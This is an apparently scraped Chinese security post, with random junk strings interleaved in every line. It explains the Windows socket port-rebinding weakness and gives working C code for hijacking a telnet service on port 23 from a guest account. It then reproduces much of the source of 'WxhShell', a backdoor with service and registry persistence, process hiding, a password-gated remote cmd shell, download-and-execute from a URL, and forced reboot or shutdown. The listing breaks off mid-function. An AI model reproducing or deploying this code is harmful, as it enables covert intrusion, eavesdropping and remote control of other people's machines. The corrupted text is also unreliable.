在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
-3&G"hfK s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
HJC(\\~ mCz,2K|^~ saddr.sin_family = AF_INET;
WA$>pG5s DS2)@ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
a|BcnYN W{5:'9, bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Qe'g3z> ]=EM@ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
9ktEm|F3 Fa epDjY8 这意味着什么?意味着可以进行如下的攻击:
Gs*G<P" m))<!3 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
4<X!<]3] g2R@`./S 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
!'f3>W\
!>(RK"KWq] 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
1mSaS4!"B j+8TlVur 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
0fs$#j o:Zd1"Z 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
9]>iSG^H rxO2js 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
)B!d,HKt; ir:d'g1k 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
%>WbmpIyc zTD@ #include
*8ExRQZ$ #include
4.K'\S #include
]bgY6@M #include
S*"u/b; DWORD WINAPI ClientThread(LPVOID lpParam);
tVqmn int main()
zQH]s?v {
*]x*B@RF WORD wVersionRequested;
&s)0z)mR8& DWORD ret;
O4No0xeWo WSADATA wsaData;
Iia.k'N BOOL val;
}Uf<ZXW SOCKADDR_IN saddr;
C2<CWPn< SOCKADDR_IN scaddr;
0+b0< int err;
}wSy SOCKET s;
q9dLHi<1 SOCKET sc;
l9/:FiJ_ int caddsize;
y1BgK>R HANDLE mt;
2 [!Mx&^ DWORD tid;
qd!#t] wVersionRequested = MAKEWORD( 2, 2 );
D22Lu;E err = WSAStartup( wVersionRequested, &wsaData );
E=/[s]@5 if ( err != 0 ) {
{5Eyr$ printf("error!WSAStartup failed!\n");
_1jw=5^P\i return -1;
Z,WW]Y,$ }
L"rcv:QWZa saddr.sin_family = AF_INET;
`<j_[(5yb hkW{88 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
16@);Ot hteOh#0{ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
&-GuKH(Y< saddr.sin_port = htons(23);
ggou*;' if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
4VIg>EL* {
Q-zdJt printf("error!socket failed!\n");
P Tnac return -1;
Qa$NBNxKl }
[[qwaI val = TRUE;
7nz!0I^ //SO_REUSEADDR选项就是可以实现端口重绑定的
>;i\v7 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
n=`w9qajd {
/#yA%0=w printf("error!setsockopt failed!\n");
!*P&Eat return -1;
WF/l7u#4i }
q{X T //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
jX|=n.#q //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
DuF7HTN[K //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
6.Bh3p fr#Qz{ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
?Bu}.0ku-$ {
.v,bXU$@YG ret=GetLastError();
93I'cWN printf("error!bind failed!\n");
{Bvm'lq` return -1;
Lp~^*j( }
l(Cf7o! listen(s,2);
y`b\;kd while(1)
/{DaPqRa {
,U%=rfB~ caddsize = sizeof(scaddr);
0 [i+ //接受连接请求
+a]j[# sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
u)7
]1e{ if(sc!=INVALID_SOCKET)
N?+eWY {
]xR4->eix mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
& z gPN8u if(mt==NULL)
2 `5=0E1k {
)nnCCRS6 printf("Thread Creat Failed!\n");
-]QguZE break;
hwDXm9 }
vfXJYw+6_ }
hrT%XJl CloseHandle(mt);
o
PaZ }
"=ElCaP} closesocket(s);
cno;>[$ WSACleanup();
O!];_q/ return 0;
qsvpW%?aE }
sVcdj|j DWORD WINAPI ClientThread(LPVOID lpParam)
fqX~xp {
!a4cjc( SOCKET ss = (SOCKET)lpParam;
C.HYS S SOCKET sc;
XSl!T/d unsigned char buf[4096];
7(@(Hm SOCKADDR_IN saddr;
wDZ long num;
A:c]1 DWORD val;
g 9|qbKQ:[ DWORD ret;
QmHwn)Ly //如果是隐藏端口应用的话,可以在此处加一些判断
fPrb% //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
tO4):i1 saddr.sin_family = AF_INET;
w~{| S7/ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
IW] *i?L saddr.sin_port = htons(23);
7g-$oO if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
m8u=u4z(" {
08O7F printf("error!socket failed!\n");
9iK&f\#5H return -1;
,,}sK }
rd|crD3 val = 100;
($:y\,5(9I if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
%GS\1 Q% {
]DU61Z"v?b ret = GetLastError();
]xI?,('_m return -1;
gjQ=8&i }
Y!;gQeC if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
9,w}Xe=C {
%Dra7B% ret = GetLastError();
\.kTe<.:_ return -1;
}R`Irxv4 }
e"PMvQ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Yg$@ Wb6 {
A<2I! printf("error!socket connect failed!\n");
.E#<fz closesocket(sc);
@Mzz2&(dU closesocket(ss);
]u;GNz}? return -1;
&7fY_~ )B }
m:b^,2"g while(1)
QTeFR&q8 {
r7RU"H:j8 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
7F=2t_2O //如果是嗅探内容的话,可以再此处进行内容分析和记录
_IC,9bbg //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
;v%Q8 num = recv(ss,buf,4096,0);
.|U4N/XN%q if(num>0)
>kt~vJI send(sc,buf,num,0);
>1m)%zt else if(num==0)
0GS{F8f~, break;
gH5CB%) num = recv(sc,buf,4096,0);
]c5DOv& if(num>0)
Td5bDO send(ss,buf,num,0);
*&(2`#C; else if(num==0)
i^/
eN break;
Y+!Ouc!$ }
hx*HY%\P closesocket(ss);
*Ao2j; closesocket(sc);
qo)Q}0 return 0 ;
]bs+: }
<"hb#Tn D~5yj&&T; (W7;}g ysh ==========================================================
||yXp2 S@9w'upd 下边附上一个代码,,WXhSHELL
uE"5 cq'B/ $K+4C0wX` ==========================================================
+.S#= >g>f;\mD7$ #include "stdafx.h"
mfu*o0 AGl|>f) #include <stdio.h>
5ze`IY #include <string.h>
P#w}3^ #include <windows.h>
VV?]U$ #include <winsock2.h>
rn5"o8| #include <winsvc.h>
c:3@[nF~ #include <urlmon.h>
kX@bv"i \_lG#p| #pragma comment (lib, "Ws2_32.lib")
?(fQ<i n #pragma comment (lib, "urlmon.lib")
E}]I%fi _= o1?R #define MAX_USER 100 // 最大客户端连接数
X!,#'&p& #define BUF_SOCK 200 // sock buffer
[B}1z #define KEY_BUFF 255 // 输入 buffer
'9IP; Tg3:VD #define REBOOT 0 // 重启
*eHA:
A_I #define SHUTDOWN 1 // 关机
4}.WhE|h >W>##vK #define DEF_PORT 5000 // 监听端口
qgwv=5| o}WB(WsG #define REG_LEN 16 // 注册表键长度
\Ku9"x #define SVC_LEN 80 // NT服务名长度
kb/|;! jHs<s`#h // 从dll定义API
W2}%zux typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
u&1j>`~qJ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Ul'~opf typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
*Gg1h@& typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
>E//pr)_Km RnMB Gxa // wxhshell配置信息
*Te4U5F struct WSCFG {
l@,); w=_P int ws_port; // 监听端口
E\{^0vNc char ws_passstr[REG_LEN]; // 口令
/W"Bf int ws_autoins; // 安装标记, 1=yes 0=no
*]{9K char ws_regname[REG_LEN]; // 注册表键名
03X<x| char ws_svcname[REG_LEN]; // 服务名
z1Bj_u{ char ws_svcdisp[SVC_LEN]; // 服务显示名
z5x,fQw6O char ws_svcdesc[SVC_LEN]; // 服务描述信息
pieU|?fQ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
^tm++ int ws_downexe; // 下载执行标记, 1=yes 0=no
fOqS|1rC char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
[<#<:h&\ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
5en
[)3E v\vE^|-\/ };
N oX_? ^>,<*p // default Wxhshell configuration
'+o:,6 struct WSCFG wscfg={DEF_PORT,
h]J&A "xuhuanlingzhe",
O ,Pl7x%tK 1,
,omp F$% "Wxhshell",
Ee t+ "Wxhshell",
"C$!mdr7 "WxhShell Service",
c8k6(#\ "Wrsky Windows CmdShell Service",
es.\e.HK "Please Input Your Password: ",
Gt\K Ln 1,
4
|:Q1 "
http://www.wrsky.com/wxhshell.exe",
T+AlcOP "Wxhshell.exe"
3bg4# c };
,xtKPA CX&yjT6` // 消息定义模块
EzD
-1sJ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
YLA557~ char *msg_ws_prompt="\n\r? for help\n\r#>";
<FUqD0sQ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
D,}'E0 char *msg_ws_ext="\n\rExit.";
q
G :jnl char *msg_ws_end="\n\rQuit.";
"Cyo<| char *msg_ws_boot="\n\rReboot...";
WuP([8 char *msg_ws_poff="\n\rShutdown...";
Ckl7rpY+ char *msg_ws_down="\n\rSave to ";
#lBpln9 C>w9
{h char *msg_ws_err="\n\rErr!";
APHtJoS char *msg_ws_ok="\n\rOK!";
_e:5XQ `5k6s, char ExeFile[MAX_PATH];
c:h.J4mv int nUser = 0;
DJ
mQZ+{2 HANDLE handles[MAX_USER];
O]Ry3j int OsIsNt;
5I8FD".i lJ2|jFY9 SERVICE_STATUS serviceStatus;
rB.=f[aX[ SERVICE_STATUS_HANDLE hServiceStatusHandle;
;G%wc! .UT,lqEkv // 函数声明
E1l\~%A int Install(void);
DSDl[;3O{s int Uninstall(void);
8}"f|6Wm int DownloadFile(char *sURL, SOCKET wsh);
RKoP6LGw int Boot(int flag);
qSpa4W[ void HideProc(void);
#U!(I#^3 int GetOsVer(void);
sO{0hZkc int Wxhshell(SOCKET wsl);
Z5*(W;; void TalkWithClient(void *cs);
~x0-iBF int CmdShell(SOCKET sock);
GqIvvnw@f int StartFromService(void);
VJ6>3 int StartWxhshell(LPSTR lpCmdLine);
{x&jh|f`g O)U$Ef VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
`jUS{ 3^ VOID WINAPI NTServiceHandler( DWORD fdwControl );
r.a9W?(E JR a*;_ // 数据结构和表定义
0'\FrG SERVICE_TABLE_ENTRY DispatchTable[] =
Z+``/Q]>+ {
!0. 5 {wscfg.ws_svcname, NTServiceMain},
Hz3 S^o7 {NULL, NULL}
vYMbson} };
{M)3GsP? /4"S}P>f // 自我安装
"f&i 251 int Install(void)
1(:=jOfk {
WkDn char svExeFile[MAX_PATH];
.~A"Wyu\ HKEY key;
t0asW5f strcpy(svExeFile,ExeFile);
9$P l'>5
wWOT*R_ // 如果是win9x系统,修改注册表设为自启动
Z z;<P if(!OsIsNt) {
$vw}p. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
&Xl_sDvt RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
:WfB!4%! RegCloseKey(key);
soqNzdTB2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
@8<uAu% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Za:BJ: RegCloseKey(key);
YAC zznN return 0;
2p3u6\y }
|{/O)3 }
!{]v='
}
mk`cyN>m else {
TNFm7}= }_kI> // 如果是NT以上系统,安装为系统服务
rCSG@D. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
l LD)i J1 if (schSCManager!=0)
Acq>M^E3 {
Etr8lm E SC_HANDLE schService = CreateService
h&k^l, (
#`#aSqGmc schSCManager,
RkH oT^
wscfg.ws_svcname,
U*R~w5W.[ wscfg.ws_svcdisp,
R:IS4AaS SERVICE_ALL_ACCESS,
QRmQ> SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
9y|&T SERVICE_AUTO_START,
Yqhz(&*) SERVICE_ERROR_NORMAL,
^SSOh# svExeFile,
ZhbY,wJ, NULL,
C"` 'Re5) NULL,
u FYQ^ NULL,
]BQWA NULL,
Lc: SqF NULL
*~<]|H5~ );
&CeF^ if (schService!=0)
ZLio8 {
io?{ew CloseServiceHandle(schService);
f_P+qm CloseServiceHandle(schSCManager);
-IsdU7} strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
9@z|2z2\G strcat(svExeFile,wscfg.ws_svcname);
6!Ji>h.Ak if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
u*-<5&X RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
twHM~cTS RegCloseKey(key);
O7'^*"S return 0;
wZ3vF)2s }
L"du"- }
&{4Mo,x CloseServiceHandle(schSCManager);
{6y.%ysU }
' /<b[ }
sd@gEp)L 4C9"Q,o%& return 1;
![hhPYmV }
}}bi#G:R+ H6CGc0NS+ // 自我卸载
;s
B:s9M int Uninstall(void)
i~s9Ot {
5<BV\' HKEY key;
Cv(N5mA2 +?txGHQq if(!OsIsNt) {
-[7,ph if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
(Rg!km%2T RegDeleteValue(key,wscfg.ws_regname);
T0"0/{5-_ RegCloseKey(key);
5b4V/d*
' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
@C [|'[xQ RegDeleteValue(key,wscfg.ws_regname);
T2_#[bk*d RegCloseKey(key);
QRh4f\fY return 0;
/?-p^6U }
`k%#0E*H }
nC{rs+P }
lLFBop else {
oUKbzr/C IoHkcP[H SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
xI\s9_"Qy if (schSCManager!=0)
(?3\.tQ}} {
D!$ =oK SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
`ur9KP4Dq if (schService!=0)
[qMO7enu# {
YeVc,B' if(DeleteService(schService)!=0) {
8*~:gZ7: CloseServiceHandle(schService);
D!T4k]^ CloseServiceHandle(schSCManager);
Qbpl$L return 0;
x[~OVG0M* }
y-q?pqt CloseServiceHandle(schService);
zjh9ZLu[ }
*vE C,) CloseServiceHandle(schSCManager);
K2K6 }
A.x}%v,E }
(E(:F[.S GE+csnA2 return 1;
qFChZ+3> }
<$2zr4 LP6FSo~K // 从指定url下载文件
{u6fa>R&$ int DownloadFile(char *sURL, SOCKET wsh)
!!O{ ppM {
et}Y4,: HRESULT hr;
'J0s%m|j char seps[]= "/";
3Wxtxk._E char *token;
rAw1g,& char *file;
LVl0:!>~ char myURL[MAX_PATH];
?,DbV|3_\ char myFILE[MAX_PATH];
X0QS/S-+ Cj\+u\U# strcpy(myURL,sURL);
>Io7h#[u token=strtok(myURL,seps);
+p<R'/ while(token!=NULL)
je3n'^m {
cB=u;$k@* file=token;
n$Fm~iPo, token=strtok(NULL,seps);
8'Bl=C|0X }
o"M^sKz47 Xb]?/7
X GetCurrentDirectory(MAX_PATH,myFILE);
Cbvl( ( strcat(myFILE, "\\");
8 %f!
X51 strcat(myFILE, file);
A@AGu#W send(wsh,myFILE,strlen(myFILE),0);
lA
0_I"b2Y send(wsh,"...",3,0);
F+S#m3X hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
;*H~Yb0 if(hr==S_OK)
!sQ8,l0h return 0;
=U`c
}dhS else
yP]W\W' return 1;
e-)1K U%\2drM&] }
{5-{f=Rk <yO9j // 系统电源模块
()
;7+ int Boot(int flag)
%k)I=| {
XPTB,1g+f HANDLE hToken;
bl-s0Ax- TOKEN_PRIVILEGES tkp;
^:ngHue8~ 'qS!n if(OsIsNt) {
P"@^'yR5WK OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Mg/2w LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
u5M{s;{11r tkp.PrivilegeCount = 1;
" T=LHj E tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
*OcptmY< AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
&2pM3re/f if(flag==REBOOT) {
U5
"v1"Ec if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
0N_Da N return 0;
JdEb_c3S }
!
NEq|Y else {
{v
0(0 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
"ZW*O{ return 0;
t[,\TM^h}0 }
<sOB j' }
}C#d;JC else {
\vQ ( if(flag==REBOOT) {
-. {7;6:(k if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
S3cQC`^ return 0;
p?nVPTh }
kk#d-!
$[ else {
gk%ye&:f if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
*n5g";k| return 0;
S/jHyJ, }
k{62UaL. }
,fFJSY^ $y}Tbm return 1;
zv@o-R$l }
VZR6oia Elx bHQj6 // win9x进程隐藏模块
r$zXb9a|< void HideProc(void)
N@S;{uK {
k2;yl_7 J(60eTwQ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
P6rL;_~e if ( hKernel != NULL )
{S!~pn&^Y {
E)bP}:4V pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
4e sf&-gG ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
9'M({/7y FreeLibrary(hKernel);
2e&Zs%u }
isqW?$s ~Tolz H! return;
ww*F}}( }
ga1RMRu+ ?##GY;# // 获取操作系统版本
$
a7^3 int GetOsVer(void)
K\PS$ {
7 m%|TwJN OSVERSIONINFO winfo;
DlP=R winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
y|ZJ-[qg GetVersionEx(&winfo);
URwFN OM2 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
3%k+<ho( return 1;
l8Ox]%F else
XUWza=BR" return 0;
I|hG"i }
qabM@+m[ a<Ta *:R$0 // 客户端句柄模块
>:Ec int Wxhshell(SOCKET wsl)
O<5bsKw'r {
XOoND SOCKET wsh;
4Y'qoM; struct sockaddr_in client;
3ul DWORD myID;
mtp[] );C !:? while(nUser<MAX_USER)
'ga@=;Wj {
cuHs`{u@P int nSize=sizeof(client);
+VfJ:[q wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
>13= 4S if(wsh==INVALID_SOCKET) return 1;
/#HY-b 7 @ZL(G handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
,Tpds ^ if(handles[nUser]==0)
p 7sYgz closesocket(wsh);
Q8O38uZ else
/bVI'fT nUser++;
tC&Xm}: }
kZ2+=/DYN WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
nt4> 9; yRAb
HG,c return 0;
~ohW9Z1 }
m{' q(w} edch'H^2+P // 关闭 socket
1}N5WBp void CloseIt(SOCKET wsh)
?x:\RNB/ {
}[1I_) closesocket(wsh);
tTY (I1 nUser--;
4Hu.o 7 ExitThread(0);
+Q{jV^IT9 }
UO</4WJ .NabK // 客户端请求句柄
1=s%.0 void TalkWithClient(void *cs)
xi-^_I {
t&*$@0A 7;Wj ^# SOCKET wsh=(SOCKET)cs;
K }r%OOn0 char pwd[SVC_LEN];
WL>"hkx char cmd[KEY_BUFF];
>XA#/K char chr[1];
RS$e^_ W int i,j;
b-wFnMXk+ Pocm. while (nUser < MAX_USER) {
~$+9L2gz 1Azigd0% if(wscfg.ws_passstr) {
m'Wz0b^BO if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
G|.>p<q //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
C8i}~x< //ZeroMemory(pwd,KEY_BUFF);
($]y*|Obn i=0;
)t=Cj?5 while(i<SVC_LEN) {
5pz%DhjLo KyDQ<Dq& // 设置超时
\4mw>8wA fd_set FdRead;
.aF+>#V=Q struct timeval TimeOut;
Riw#+#r]/ FD_ZERO(&FdRead);
)Nk^;[ FD_SET(wsh,&FdRead);
;A1pqHr TimeOut.tv_sec=8;
D guAeK TimeOut.tv_usec=0;
m"NZ; *d ' int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
&c0U\G|j if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Q4C28-# lQldW|S> if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
[|e7oNT(Q pwd
=chr[0]; m@)K]0g<f
if(chr[0]==0xd || chr[0]==0xa) { GYZzWN}U
pwd=0; ](:aDHa
break; 9)'L,Xt4:T
} }h>QkV,{2
i++; }_Jr[iaB
} <T{PuS1<o
a6fMx~
// 如果是非法用户,关闭 socket | x/,
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0 @~[SXR
} t(}\D]mj
._Wm%'uX
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6*le(^y`
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r1]shb%J?
`XS6t)!ik
while(1) { TdlF~ca|
+2!F6"hP
ZeroMemory(cmd,KEY_BUFF); /w$<0hH#'8
1^TOTY
// 自动支持客户端 telnet标准 ojni+} >_
j=0; G BV]7.
while(j<KEY_BUFF) { (%D*S_m'
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eJIBkFW/3y
cmd[j]=chr[0]; ^
1}_VB)^
if(chr[0]==0xa || chr[0]==0xd) { .A//Q|ot!
cmd[j]=0; xQT`sK+
break; [R TB|0Q
} POdk0CuX
j++; t ]7>' U
} [/.o>R#J(
3XjM@D
// 下载文件 Y1vl,Yi
if(strstr(cmd,"http://")) { aOFF"(]Cl
send(wsh,msg_ws_down,strlen(msg_ws_down),0); S;[9
hI+
if(DownloadFile(cmd,wsh)) RBd{1on
send(wsh,msg_ws_err,strlen(msg_ws_err),0); iqW
T<WY
else epqX2`!V
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sg RY`U.C
} -}_-#L!Q
else { A
M8bem~
icLf;@
switch(cmd[0]) { why;1z>V
VC,wQb1J/
// 帮助 HdQd =q(
case '?': { Y5M>&}N
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;"l>HL:^
break; jl YnV/ ]
} F?TxViL
// 安装 C%}}~Y
case 'i': { B/hL
if(Install()) $)t ]av
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]U.1z
else `],'fT|,S
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KAH9?zI)M
break; bq{":[a
} /X>Fn9mM
// 卸载 7m3|2Qv
case 'r': { H.cN(7LXm
if(Uninstall()) {U/a h2*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Exd$v"s
Y
else tp"dho
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /V}>v
break; x@/ N9*
} Vf<VKP[9K
// 显示 wxhshell 所在路径 huVw+vAA
case 'p': { %v
0 I;t
char svExeFile[MAX_PATH]; Qvo(2(
strcpy(svExeFile,"\n\r"); S3EM6 `q'
strcat(svExeFile,ExeFile); (T+fO}0
send(wsh,svExeFile,strlen(svExeFile),0); |eH>55 b
break; Q[?O+
} ;T6{J[
h
// 重启 l+g\xUP
case 'b': { {nTQc2T?;
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )*<=:
if(Boot(REBOOT)) jzCSxuZ7O
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g_ 'F(An
else { pt[H5
closesocket(wsh); <5rs~
ExitThread(0); (3PkTQlE
} bV|(V>
break; !}%,rtI
} ~a@O1MB
// 关机 Q(Q.(
case 'd': { "o"ujQ(v
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Hjl{M>z
if(Boot(SHUTDOWN)) `
O;+N"v
send(wsh,msg_ws_err,strlen(msg_ws_err),0); f`Km ctI
else { ;:(kVdb
closesocket(wsh); l-|hvv5g
ExitThread(0); {c5%.<O
} ,=o)R,[
break; `R:p-"'b
} {|)u).n|
// 获取shell =~;SUO
case 's': { 9v[cy` \
CmdShell(wsh); =R+z\`2
closesocket(wsh); O7r<6(q(
ExitThread(0); S<),
,(
break; cspO5S>#
} Om
#m":
// 退出 Cm)_xnv
case 'x': { #XSs.i{
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); YbS$D
CloseIt(wsh); 2de[ yz
break; Vq[L4
} 'C=8. P?
// 离开 'EF\=o)^Y
case 'q': { l+# l\q%l
send(wsh,msg_ws_end,strlen(msg_ws_end),0); rKZ1
c,y
closesocket(wsh); ;O8Uc&:P
WSACleanup(); f n]rMH4>
exit(1); V?KACYd@O
break; MF+J3)
} cW+6Emh
} ym*,X@Qg^
} &S\q*H=}i
u$T`Bn
// 提示信息 4=]CA O=O
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y6LoPJ
} i={ :6K?^
} @S#>:o|
?sF<L/P0
F
return; f-at@C1L%L
} *eE&ptx1
S;0,UgB1
// shell模块句柄 8u+FWbOl]
int CmdShell(SOCKET sock) rL+K Sb
{ REd"}zDI
STARTUPINFO si; We^!(G
ZeroMemory(&si,sizeof(si)); vj?v7
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1Ql\aO)
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o+U]=q*|)$
PROCESS_INFORMATION ProcessInfo; [c6I/U=-
char cmdline[]="cmd"; Fi8'3/q-^
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +q z"+g
return 0; BIx Z4Ft
} VUfV=&D-*g
WU}?8\?U%
// 自身启动模式 EH;w
<LvT
int StartFromService(void) tx-HY<
{ l.tNq$3pS
typedef struct }=kf52Am,}
{ x50,4J%J'r
DWORD ExitStatus; L\@SX?j
DWORD PebBaseAddress; P#`Mg@.
DWORD AffinityMask; /mELnJ^
DWORD BasePriority; r[P5
ufy2]
ULONG UniqueProcessId; d',OQ,~{
ULONG InheritedFromUniqueProcessId; M[wd.\
%
} PROCESS_BASIC_INFORMATION;
T~I5W=y
3EGQ$
